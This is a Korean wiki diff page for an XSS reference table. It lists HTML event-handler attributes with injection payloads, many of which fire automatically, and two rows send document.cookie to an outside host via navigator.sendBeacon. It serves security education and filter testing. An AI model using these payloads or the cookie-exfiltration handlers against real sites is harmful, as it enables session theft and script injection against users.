사용자 도구

사이트 도구


기술문서:레퍼런스:보안:xss

차이

문서의 선택한 두 판 사이의 차이를 보여줍니다.

차이 보기로 링크

양쪽 이전 판 이전 판
다음 판
이전 판
기술문서:레퍼런스:보안:xss [2026/02/24 19:06]
carlito76
기술문서:레퍼런스:보안:xss [2026/03/23 13:59] (현재)
carlito76 ↷ 문서가 etc:임시문서:기술문서:레퍼런스:보안:xss에서 기술문서:레퍼런스:보안:xss(으)로 이동되었습니다
줄 1: 줄 1:
 +{{htmlmetatags>
 +metatag-description=(XSS, Cross Site Scripting, 크로스 사이트 스크립팅, 공격과 방어)
 +metatag-og:description=(XSS, Cross Site Scripting, 크로스 사이트 스크립팅, 공격과 방어)
 +}}
 +
 ====== XSS ====== ====== XSS ======
  
줄 14: 줄 19:
 | onafterupdate ((Internet Explorer)) |  <color gray>-</color>  | | | onafterupdate ((Internet Explorer)) |  <color gray>-</color>  | |
 | onanimationcancel ((CSS 애니메이션)) |  <color gray>-</color>  | 강제 중단/취소 | | onanimationcancel ((CSS 애니메이션)) |  <color gray>-</color>  | 강제 중단/취소 |
-| onanimationend ((CSS 애니메이션)) | <span\\ onanimationend="alert('attack')"\\ style="animation:progress-bar-stripes 1s">\\ </span> | 자동 실행 ((Bootstrap 3.x, 4.x, 5.x 사용 시)) | +| onanimationend ((CSS 애니메이션)) | <span\\ onanimationend="alert('attack')"\\ style="animation:progress-bar-stripes 1s">\\ </span>애니메이션 종료\\ - 자동 실행 ((Bootstrap 3.x, 4.x, 5.x 사용 시)) | 
-| onanimationiteration ((CSS 애니메이션)) | <span\\ onanimationiteration="alert('attack')"\\ style="animation:progress-bar-stripes 1s infinite">\\ </span> | 자동 실행 ((Bootstrap 3.x, 4.x, 5.x 사용 시)) | +| onanimationiteration ((CSS 애니메이션)) | <span\\ onanimationiteration="alert('attack')"\\ style="animation:progress-bar-stripes 1s infinite">\\ </span>애니메이션 반복\\ - 자동 실행 ((Bootstrap 3.x, 4.x, 5.x 사용 시)) | 
-| onanimationstart ((CSS 애니메이션)) | <span\\ onanimationstart="alert('attack')"\\ style="animation:progress-bar-stripes 1s">\\ </span> | 자동 실행 ((Bootstrap 3.x, 4.x, 5.x 사용 시)) |+| onanimationstart ((CSS 애니메이션)) | <span\\ onanimationstart="alert('attack')"\\ style="animation:progress-bar-stripes 1s">\\ </span>애니메이션 시작\\ - 자동 실행 ((Bootstrap 3.x, 4.x, 5.x 사용 시)) |
 | onappinstalled ((Progressive Web App)) ((<body>)) | <body\\ onappinstalled="alert('attack')">\\ </body> | PWA 설치 성공 시 | | onappinstalled ((Progressive Web App)) ((<body>)) | <body\\ onappinstalled="alert('attack')">\\ </body> | PWA 설치 성공 시 |
-| onauxclick ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ onauxclick="alert('attack')"> | (영역 내) 떼는 순간\\ - 왼쪽 버튼 이외 |+| onauxclick ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onauxclick="alert('attack')"> | (영역 내) 떼는 순간\\ - 좌클릭 이외 |
 | onbeforeactivate ((Internet Explorer / Edge Legacy)) ((포커스)) |  <color gray>-</color>  | | | onbeforeactivate ((Internet Explorer / Edge Legacy)) ((포커스)) |  <color gray>-</color>  | |
 | onbeforecopy ((클립보드)) | <span\\ onbeforecopy="alert('attack')">\\ Ctrl + C\\ </span> | 복사 시작 시 | | onbeforecopy ((클립보드)) | <span\\ onbeforecopy="alert('attack')">\\ Ctrl + C\\ </span> | 복사 시작 시 |
줄 31: 줄 36:
 | onbeforescriptexecute ((Gecko 엔진)) ((<script>)) |  <color gray>-</color>  | | | onbeforescriptexecute ((Gecko 엔진)) ((<script>)) |  <color gray>-</color>  | |
 | onbeforetoggle ((<details>)) |  <color gray>-</color>  | | | onbeforetoggle ((<details>)) |  <color gray>-</color>  | |
-| onbeforeunload ((<body>, <frameset>)) | <body\\ onbeforeunload="navigator.sendBeacon\\ ('<nowiki>https://wiki.jobdeveloper.co.kr</nowiki>',\\ document.cookie)">\\ </body>\\ \\ <frameset\\ onbeforeunload="navigator.sendBeacon\\ ('<nowiki>https://wiki.jobdeveloper.co.kr</nowiki>',\\ document.cookie)">\\ </frameset> | 페이지 이탈 시 |+| onbeforeunload ((<body>, <frameset>)) | <body\\ onbeforeunload="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </body>\\ \\ <frameset\\ onbeforeunload="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </frameset> | 페이지 이탈 시 |
 | onbeforeupdate ((Internet Explorer)) |  <color gray>-</color>  | | | onbeforeupdate ((Internet Explorer)) |  <color gray>-</color>  | |
-| onbegin ((SVG 애니메이션)) | <svg width="0" height="0">\\ <animate\\ onbegin="alert('attack')">\\ </svg> | 자동 실행 |+| onbegin ((SVG 애니메이션)) | <svg width="0" height="0">\\ <animate\\ onbegin="alert('attack')">\\ </svg>애니메이션 시작\\ - 자동 실행 |
 | onblur ((포커스)) | <input\\ onblur="alert('attack')"> | 포커스 이탈 시 | | onblur ((포커스)) | <input\\ onblur="alert('attack')"> | 포커스 이탈 시 |
 | onbounce ((Internet Explorer / Edge Legacy)) ((<marquee>)) |  <color gray>-</color>  | | | onbounce ((Internet Explorer / Edge Legacy)) ((<marquee>)) |  <color gray>-</color>  | |
-| oncancel |  <color gray>-</color>  | | +| oncancel ((<dialog>)) |  <color gray>-</color>  | | 
-| oncanplay ((<audio>, <video>)) | FIXME FIXME +| oncanplay ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ oncanplay="alert('attack')"> 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 
-| oncanplaythrough ((<audio>, <video>)) | FIXME FIXME |+| oncanplaythrough ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ oncanplaythrough="alert('attack')"> 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 |
 | oncellchange ((Internet Explorer)) |  <color gray>-</color>  | | | oncellchange ((Internet Explorer)) |  <color gray>-</color>  | |
 | onchange ((<input>, <textarea>, <select>)) | <input\\ onchange="alert('attack')"> | 1) 값 변경\\ 2) 포커스 이탈 시 | | onchange ((<input>, <textarea>, <select>)) | <input\\ onchange="alert('attack')"> | 1) 값 변경\\ 2) 포커스 이탈 시 |
 | onchargingchange ((하드웨어)) |  <color gray>-</color>  | | | onchargingchange ((하드웨어)) |  <color gray>-</color>  | |
-| onclick ((마우스 / 키보드)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ onclick="alert('attack')">\\ \\ <button\\ type="button"\\ onclick="alert('attack')">\\ Enter 또는 Space\\ </button> | (영역 내) 클릭\\ Enter 또는 Space | +| onclick ((포인터 / 키보드)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onclick="alert('attack')">\\ \\ <button\\ type="button"\\ onclick="alert('attack')">\\ Enter 또는 Space\\ </button> | (영역 내) 클릭\\ \\ Enter 또는 Space | 
-| onclose |  <color gray>-</color>  | | +| onclose ((<dialog>)) |  <color gray>-</color>  | | 
-| oncontentvisibilityautostatechange | <span\\ oncontentvisibilityautostatechange="alert('attack')"\\ style="content-visibility:auto">\\ </span> | 자동 실행 |+| oncontentvisibilityautostatechange | <span\\ oncontentvisibilityautostatechange="alert('attack')"\\ style="content-visibility:auto">\\ </span>content-visibility:auto\\ - 자동 실행 |
 | oncontextlost ((하드웨어)) |  <color gray>-</color>  | | | oncontextlost ((하드웨어)) |  <color gray>-</color>  | |
-| oncontextmenu ((마우스 / 키보드)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ oncontextmenu="alert('attack')">\\ \\ <button\\ type="button"\\ oncontextmenu="alert('attack')">\\ Shift + F10\\ </button> | (영역 내) 우클릭\\ Shift + F10 |+| oncontextmenu ((포인터 / 키보드)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ oncontextmenu="alert('attack')">\\ \\ <button\\ type="button"\\ oncontextmenu="alert('attack')">\\ Shift + F10\\ </button> | (영역 내) 우클릭\\ \\ Shift + F10 |
 | oncontextrestored ((하드웨어)) |  <color gray>-</color>  | | | oncontextrestored ((하드웨어)) |  <color gray>-</color>  | |
 | oncontrolselect ((Internet Explorer)) |  <color gray>-</color>  | | | oncontrolselect ((Internet Explorer)) |  <color gray>-</color>  | |
줄 52: 줄 57:
 | oncuechange ((<track>)) |  <color gray>-</color>  | | | oncuechange ((<track>)) |  <color gray>-</color>  | |
 | oncut ((클립보드)) | <span\\ oncut="alert('attack')">\\ Ctrl + X\\ </span> | 잘라내기 실행 시 | | oncut ((클립보드)) | <span\\ oncut="alert('attack')">\\ Ctrl + X\\ </span> | 잘라내기 실행 시 |
 +| ondblclick ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ ondblclick="alert('attack')"> | (영역 내) 더블클릭 |
 | ondeactivate ((Internet Explorer / Edge Legacy)) ((포커스)) |  <color gray>-</color>  | | | ondeactivate ((Internet Explorer / Edge Legacy)) ((포커스)) |  <color gray>-</color>  | |
-| ondblclick ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ ondblclick="alert('attack')"> | (영역 내) 더블클릭 | 
 | ondevicechange ((하드웨어)) |  <color gray>-</color>  | | | ondevicechange ((하드웨어)) |  <color gray>-</color>  | |
 | ondevicemotion ((하드웨어)) |  <color gray>-</color>  | | | ondevicemotion ((하드웨어)) |  <color gray>-</color>  | |
 | ondeviceorientation ((하드웨어)) |  <color gray>-</color>  | | | ondeviceorientation ((하드웨어)) |  <color gray>-</color>  | |
 | ondeviceorientationabsolute ((하드웨어)) |  <color gray>-</color>  | | | ondeviceorientationabsolute ((하드웨어)) |  <color gray>-</color>  | |
-| ondrag | FIXME FIXME +| ondrag ((드래그 앤 드롭))  <color gray>-</color>  | | 
-| ondragend | FIXME FIXME +| ondragend ((드래그 앤 드롭))  <color gray>-</color>  | | 
-| ondragenter | FIXME FIXME +| ondragenter ((드래그 앤 드롭))  <color gray>-</color>  | | 
-| ondragleave | FIXME FIXME +| ondragleave ((드래그 앤 드롭))  <color gray>-</color>  | | 
-| ondragover | FIXME FIXME +| ondragover ((드래그 앤 드롭))  <color gray>-</color>  | | 
-| ondragstart | FIXME FIXME +| ondragstart ((드래그 앤 드롭))  <color gray>-</color>  | | 
-| ondrop | FIXME FIXME +| ondrop ((드래그 앤 드롭))  <color gray>-</color>  | | 
-| ondurationchange ((<audio>, <video>)) | FIXME FIXME +| ondurationchange ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ ondurationchange="alert('attack')"> | 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 | 
-| onend ((SVG 애니메이션)) | <svg width="0" height="0">\\ <animate\\ onend="alert('attack')"\\ dur="1s">\\ </svg> | 자동 실행 | +| onemptied ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  미디어 소스 초기화 
-| onended ((<audio>, <video>)) | FIXME FIXME +| onend ((SVG 애니메이션)) | <svg width="0" height="0">\\ <animate\\ onend="alert('attack')"\\ dur="1s">\\ </svg>애니메이션 종료\\ - 자동 실행 | 
-| onerror | <img\\ src=""\\ onerror="alert('attack')"> | 자동 실행 |+| onended ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  재생 종료 
 +| onerror | <img\\ src=""\\ onerror="alert('attack')">로드 실패\\ - 자동 실행 |
 | onerrorupdate ((Internet Explorer)) |  <color gray>-</color>  | | | onerrorupdate ((Internet Explorer)) |  <color gray>-</color>  | |
 | onfilterchange ((Internet Explorer)) |  <color gray>-</color>  | | | onfilterchange ((Internet Explorer)) |  <color gray>-</color>  | |
줄 85: 줄 91:
 | ongamepaddisconnected ((하드웨어)) |  <color gray>-</color>  | | | ongamepaddisconnected ((하드웨어)) |  <color gray>-</color>  | |
 | ongotpointercapture ((포인터)) |  <color gray>-</color>  | 제어권 획득 | | ongotpointercapture ((포인터)) |  <color gray>-</color>  | 제어권 획득 |
-| onhashchange |  <color gray>-</color>  | 해시(#) 변경 시 |+| onhashchange |  <color gray>-</color>  | 해시 부분(#) 변경 |
 | onhelp ((Internet Explorer)) |  <color gray>-</color>  | | | onhelp ((Internet Explorer)) |  <color gray>-</color>  | |
 | oninput | <input\\ oninput="alert('attack')"> | 입력 직후 | | oninput | <input\\ oninput="alert('attack')"> | 입력 직후 |
 | oninvalid ((<input>, <textarea>, <select>)) | <form>\\ <input\\ required\\ oninvalid="alert('attack')">\\ </form> | 유효성 | | oninvalid ((<input>, <textarea>, <select>)) | <form>\\ <input\\ required\\ oninvalid="alert('attack')">\\ </form> | 유효성 |
-| onkeydown | FIXME FIXME +| onkeydown ((키보드)) <input\\ onkeydown="alert('attack')"> (키) 누르는 순간 
-| onkeypress | FIXME FIXME +| onkeypress ((키보드))  <color gray>-</color>  | | 
-| onkeyup | FIXME FIXME |+| onkeyup ((키보드)) <input\\ onkeyup="alert('attack')"> (키) 떼는 순간 |
 | onlanguagechange ((시스템)) ((<body>)) | <body\\ onlanguagechange="alert('attack')">\\ </body> | 브라우저 설정\\ - 언어 추가/삭제/이동\\ - 이 언어로 표시 | | onlanguagechange ((시스템)) ((<body>)) | <body\\ onlanguagechange="alert('attack')">\\ </body> | 브라우저 설정\\ - 언어 추가/삭제/이동\\ - 이 언어로 표시 |
 | onlayoutcomplete ((Internet Explorer)) |  <color gray>-</color>  | | | onlayoutcomplete ((Internet Explorer)) |  <color gray>-</color>  | |
 | onlevelchange ((하드웨어)) |  <color gray>-</color>  | | | onlevelchange ((하드웨어)) |  <color gray>-</color>  | |
-| onload | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ onload="alert('attack')"> | 자동 실행 | +| onload | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onload="alert('attack')">로드 완료\\ - 자동 실행 | 
-| onloadeddata ((<audio>, <video>)) | FIXME | FIXME | +| onloadeddata ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ onloadeddata="alert('attack')"> 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 
-| onloadedmetadata ((<audio><video>)FIXME | FIXME +onloadedmetadata ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ onloadedmetadata="alert('attack')"> | 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 | 
-onloadstart ((<audio>, <video>)) | <audio\\ src=""\\ onloadstart="alert('attack')">\\ \\ <video\\ src=""\\ onloadstart="alert('attack')"> | 자동 실행 |+| onloadstart ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ onloadstart="alert('attack')">미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 |
 | onlostpointercapture ((포인터)) |  <color gray>-</color>  | 제어권 상실 | | onlostpointercapture ((포인터)) |  <color gray>-</color>  | 제어권 상실 |
 | onmessage ((네트워크)) |  <color gray>-</color>  | | | onmessage ((네트워크)) |  <color gray>-</color>  | |
 | onmessageerror ((네트워크)) |  <color gray>-</color>  | | | onmessageerror ((네트워크)) |  <color gray>-</color>  | |
-| onmousedown | FIXME FIXME +| onmousedown ((마우스)) <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmousedown="alert('attack')"> (영역 내) 누르는 순간 
-| onmouseenter | FIXME FIXME +| onmouseenter ((마우스)) <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmouseenter="alert('attack')"> (영역 내) 진입 시 
-| onmouseleave | FIXME FIXME +| onmouseleave ((마우스)) <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmouseleave="alert('attack')"> (영역 내) 이탈 시 
-| onmousemove | FIXME FIXME +| onmousemove ((마우스)) <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmousemove="alert('attack')"> (영역 내) 이동 시 
-| onmouseout | FIXME FIXME +| onmouseout ((마우스)) <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmouseout="alert('attack')"> (영역 내) 이탈 시 
-| onmouseover | FIXME FIXME +| onmouseover ((마우스)) <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmouseover="alert('attack')"> (영역 내) 진입 시 
-| onmouseup | FIXME FIXME +| onmouseup ((마우스)) <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmouseup="alert('attack')"> (영역 내) 떼는 순간 
-| onmousewheel ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ onmousewheel="alert('attack')"> | (영역 내) 휠 스크롤 |+| onmousewheel ((마우스)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onmousewheel="alert('attack')"> | (영역 내) 휠 스크롤 |
 | onmove ((Internet Explorer / Edge Legacy)) |  <color gray>-</color>  | | | onmove ((Internet Explorer / Edge Legacy)) |  <color gray>-</color>  | |
 | onmoveend ((Internet Explorer / Edge Legacy)) |  <color gray>-</color>  | | | onmoveend ((Internet Explorer / Edge Legacy)) |  <color gray>-</color>  | |
줄 118: 줄 124:
 | ononline ((네트워크)) |  <color gray>-</color>  | 오프라인 → 온라인 | | ononline ((네트워크)) |  <color gray>-</color>  | 오프라인 → 온라인 |
 | onorientationchange ((<body>)) | <body\\ onorientationchange="alert('attack')">\\ </body> | 화면 회전 | | onorientationchange ((<body>)) | <body\\ onorientationchange="alert('attack')">\\ </body> | 화면 회전 |
-| onpagehide ((<body>, <frameset>)) | <body\\ onpagehide="navigator.sendBeacon\\ ('<nowiki>https://wiki.jobdeveloper.co.kr</nowiki>',\\ document.cookie)">\\ </body>\\ \\ <frameset\\ onpagehide="navigator.sendBeacon\\ ('<nowiki>https://wiki.jobdeveloper.co.kr</nowiki>',\\ document.cookie)">\\ </frameset> | 페이지 이탈 시 |+| onpagehide ((<body>, <frameset>)) | <body\\ onpagehide="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </body>\\ \\ <frameset\\ onpagehide="navigator.sendBeacon\\ ('<nowiki>https://example.com</nowiki>', document.cookie)">\\ </frameset> | 페이지 이탈 시 |
 | onpageshow ((<body>, <frameset>)) | <body\\ onpageshow="alert('attack')">\\ </body>\\ \\ <frameset\\ onpageshow="alert('attack')">\\ </frameset> | 페이지 진입 시 | | onpageshow ((<body>, <frameset>)) | <body\\ onpageshow="alert('attack')">\\ </body>\\ \\ <frameset\\ onpageshow="alert('attack')">\\ </frameset> | 페이지 진입 시 |
 | onpaste ((클립보드)) | <span\\ onpaste="alert('attack')">\\ Ctrl + V\\ </span> | 붙여넣기 실행 시 | | onpaste ((클립보드)) | <span\\ onpaste="alert('attack')">\\ Ctrl + V\\ </span> | 붙여넣기 실행 시 |
-| onpause ((<audio>, <video>)) | FIXME FIXME +| onpause ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  재생 일시중지 
-| onplay ((<audio>, <video>)) | FIXME FIXME +| onplay ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  재생 시작 
-| onplaying ((<audio>, <video>)) | FIXME FIXME |+| onplaying ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  재생 시작 성공 |
 | onpointercancel ((포인터)) |  <color gray>-</color>  | 강제 중단/취소 | | onpointercancel ((포인터)) |  <color gray>-</color>  | 강제 중단/취소 |
-| onpointerdown ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ onpointerdown="alert('attack')"> | (영역 내) 누르는 순간 | +| onpointerdown ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerdown="alert('attack')"> | (영역 내) 누르는 순간 | 
-| onpointerenter ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ onpointerenter="alert('attack')"> | (영역 내) 진입 시 | +| onpointerenter ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerenter="alert('attack')"> | (영역 내) 진입 시 | 
-| onpointerleave ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ onpointerleave="alert('attack')"> | (영역 내) 이탈 시 | +| onpointerleave ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerleave="alert('attack')"> | (영역 내) 이탈 시 | 
-| onpointermove ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ onpointermove="alert('attack')"> | (영역 내) 이동 시 | +| onpointermove ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointermove="alert('attack')"> | (영역 내) 이동 시 | 
-| onpointerout ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ onpointerout="alert('attack')"> | (영역 내) 이탈 시 | +| onpointerout ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerout="alert('attack')"> | (영역 내) 이탈 시 | 
-| onpointerover ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ onpointerover="alert('attack')"> | (영역 내) 진입 시 | +| onpointerover ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerover="alert('attack')"> | (영역 내) 진입 시 | 
-| onpointerrawupdate ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ onpointerrawupdate="alert('attack')"> | (영역 내) 이동 시 | +| onpointerrawupdate ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerrawupdate="alert('attack')"> | (영역 내) 이동 시 | 
-| onpointerup ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png"</nowiki>\\ onpointerup="alert('attack')"> | (영역 내) 떼는 순간 |+| onpointerup ((포인터)) | <img\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.png</nowiki>"\\ onpointerup="alert('attack')"> | (영역 내) 떼는 순간 |
 | onpopstate |  <color gray>-</color>  | 뒤로가기 | | onpopstate |  <color gray>-</color>  | 뒤로가기 |
 | onpresentationconnectionavailable ((하드웨어)) |  <color gray>-</color>  | | | onpresentationconnectionavailable ((하드웨어)) |  <color gray>-</color>  | |
-| onprogress ((<audio>, <video>)) | FIXME FIXME |+| onprogress ((미디어)) ((<audio>, <video>)) | <video\\ src="<nowiki>https://wiki.jobdeveloper.co.kr/logo.mp4</nowiki>"\\ width="0" height="0"\\ onprogress="alert('attack')"> 미디어 로딩 과정 ((순서\\ 1. onloadstart\\ 2. ondurationchange\\ 3. onloadedmetadata\\ 4. onloadeddata\\ 5. onprogress\\ 6. oncanplay\\ 7. oncanplaythrough))\\ - 자동 실행 |
 | onpropertychange ((Internet Explorer / Edge Legacy)) |  <color gray>-</color>  | | | onpropertychange ((Internet Explorer / Edge Legacy)) |  <color gray>-</color>  | |
-| onratechange ((<audio>, <video>)) | FIXME FIXME |+| onratechange ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  재생 속도 변경 |
 | onreadystatechange ((비동기)) |  <color gray>-</color>  | | | onreadystatechange ((비동기)) |  <color gray>-</color>  | |
 | onrejectionhandled ((비동기)) |  <color gray>-</color>  | | | onrejectionhandled ((비동기)) |  <color gray>-</color>  | |
-| onrepeat ((SVG 애니메이션)) | <svg width="0" height="0">\\ <animate\\ onrepeat="alert('attack')"\\ dur="1s"\\ repeatCount="2">\\ </svg>\\ \\ <svg width="0" height="0">\\ <animate\\ onrepeat="alert('attack')"\\ dur="1s"\\ repeatCount="indefinite">\\ </svg> | 자동 실행 |+| onrepeat ((SVG 애니메이션)) | <svg width="0" height="0">\\ <animate\\ onrepeat="alert('attack')"\\ dur="1s"\\ repeatCount="2">\\ </svg>\\ \\ <svg width="0" height="0">\\ <animate\\ onrepeat="alert('attack')"\\ dur="1s"\\ repeatCount="indefinite">\\ </svg>애니메이션 반복\\ - 자동 실행 |
 | onreset ((<form>)) |  <color gray>-</color>  | | | onreset ((<form>)) |  <color gray>-</color>  | |
 | onresize ((<body>, <frameset>, <svg>)) | <body\\ onresize="alert('attack')">\\ </body>\\ \\ <frameset\\ onresize="alert('attack')">\\ </frameset>\\ \\ <svg width="0" height="0"\\ onresize="alert('attack')">\\ </svg> | 창 크기 변경 | | onresize ((<body>, <frameset>, <svg>)) | <body\\ onresize="alert('attack')">\\ </body>\\ \\ <frameset\\ onresize="alert('attack')">\\ </frameset>\\ \\ <svg width="0" height="0"\\ onresize="alert('attack')">\\ </svg> | 창 크기 변경 |
줄 148: 줄 154:
 | onrowsdelete ((Internet Explorer)) |  <color gray>-</color>  | | | onrowsdelete ((Internet Explorer)) |  <color gray>-</color>  | |
 | onrowsinserted ((Internet Explorer)) |  <color gray>-</color>  | | | onrowsinserted ((Internet Explorer)) |  <color gray>-</color>  | |
-| onscroll | FIXME FIXME +| onscroll |  <color gray>-</color>  스크롤 시 
-| onscrollend | FIXME FIXME +| onscrollend |  <color gray>-</color>  스크롤 정지 시 
-| onscrollsnapchange | FIXME FIXME +| onscrollsnapchange | <div\\ style="scroll-snap-type:y mandatory;\\ overflow:scroll;\\ height:1px"\\ onscrollsnapchange="alert('attack')">\\ <div\\ style="scroll-snap-align:start;\\ height:1px">\\ </div>\\ <div\\ style="scroll-snap-align:start;\\ height:1px">\\ </div>\\ </div> 스냅 대상 변경 완료\\ - 자동 실행 
-| onscrollsnapchanging | FIXME FIXME |+| onscrollsnapchanging |  <color gray>-</color>  스냅 대상 변경 중 |
 | onsearch ((<input type="search">)) | <input\\ type="search"\\ onsearch="alert('attack')"> | Enter 또는 x | | onsearch ((<input type="search">)) | <input\\ type="search"\\ onsearch="alert('attack')"> | Enter 또는 x |
 | onsecuritypolicyviolation |  <color gray>-</color>  | | | onsecuritypolicyviolation |  <color gray>-</color>  | |
-| onseeked ((<audio>, <video>)) | FIXME FIXME +| onseeked ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  재생 위치 변경 완료 
-| onseeking ((<audio>, <video>)) | FIXME FIXME |+| onseeking ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  재생 위치 변경 중 |
 | onselect ((<input>, <textarea>)) | <input\\ onselect="alert('attack')"> | 텍스트 선택 시 | | onselect ((<input>, <textarea>)) | <input\\ onselect="alert('attack')"> | 텍스트 선택 시 |
 | onselectionchange |  <color gray>-</color>  | | | onselectionchange |  <color gray>-</color>  | |
줄 161: 줄 167:
 | onshow ((Firefox)) |  <color gray>-</color>  | | | onshow ((Firefox)) |  <color gray>-</color>  | |
 | onslotchange |  <color gray>-</color>  | | | onslotchange |  <color gray>-</color>  | |
-| onstalled ((<audio>, <video>)) | FIXME FIXME |+| onstalled ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  미디어 로딩 중단 |
 | onstart ((Internet Explorer / Edge Legacy)) ((<marquee>)) |  <color gray>-</color>  | | | onstart ((Internet Explorer / Edge Legacy)) ((<marquee>)) |  <color gray>-</color>  | |
 | onstop ((Internet Explorer / Edge Legacy)) |  <color gray>-</color>  | | | onstop ((Internet Explorer / Edge Legacy)) |  <color gray>-</color>  | |
 | onstorage ((<body>)) |  <color gray>-</color>  | | | onstorage ((<body>)) |  <color gray>-</color>  | |
 | onsubmit ((<form>)) |  <color gray>-</color>  | | | onsubmit ((<form>)) |  <color gray>-</color>  | |
-| onsuspend ((<audio>, <video>)) | FIXME FIXME +| onsuspend ((미디어)) ((<audio>, <video>)) |  <color gray>-</color>  미디어 로딩 일시중단 
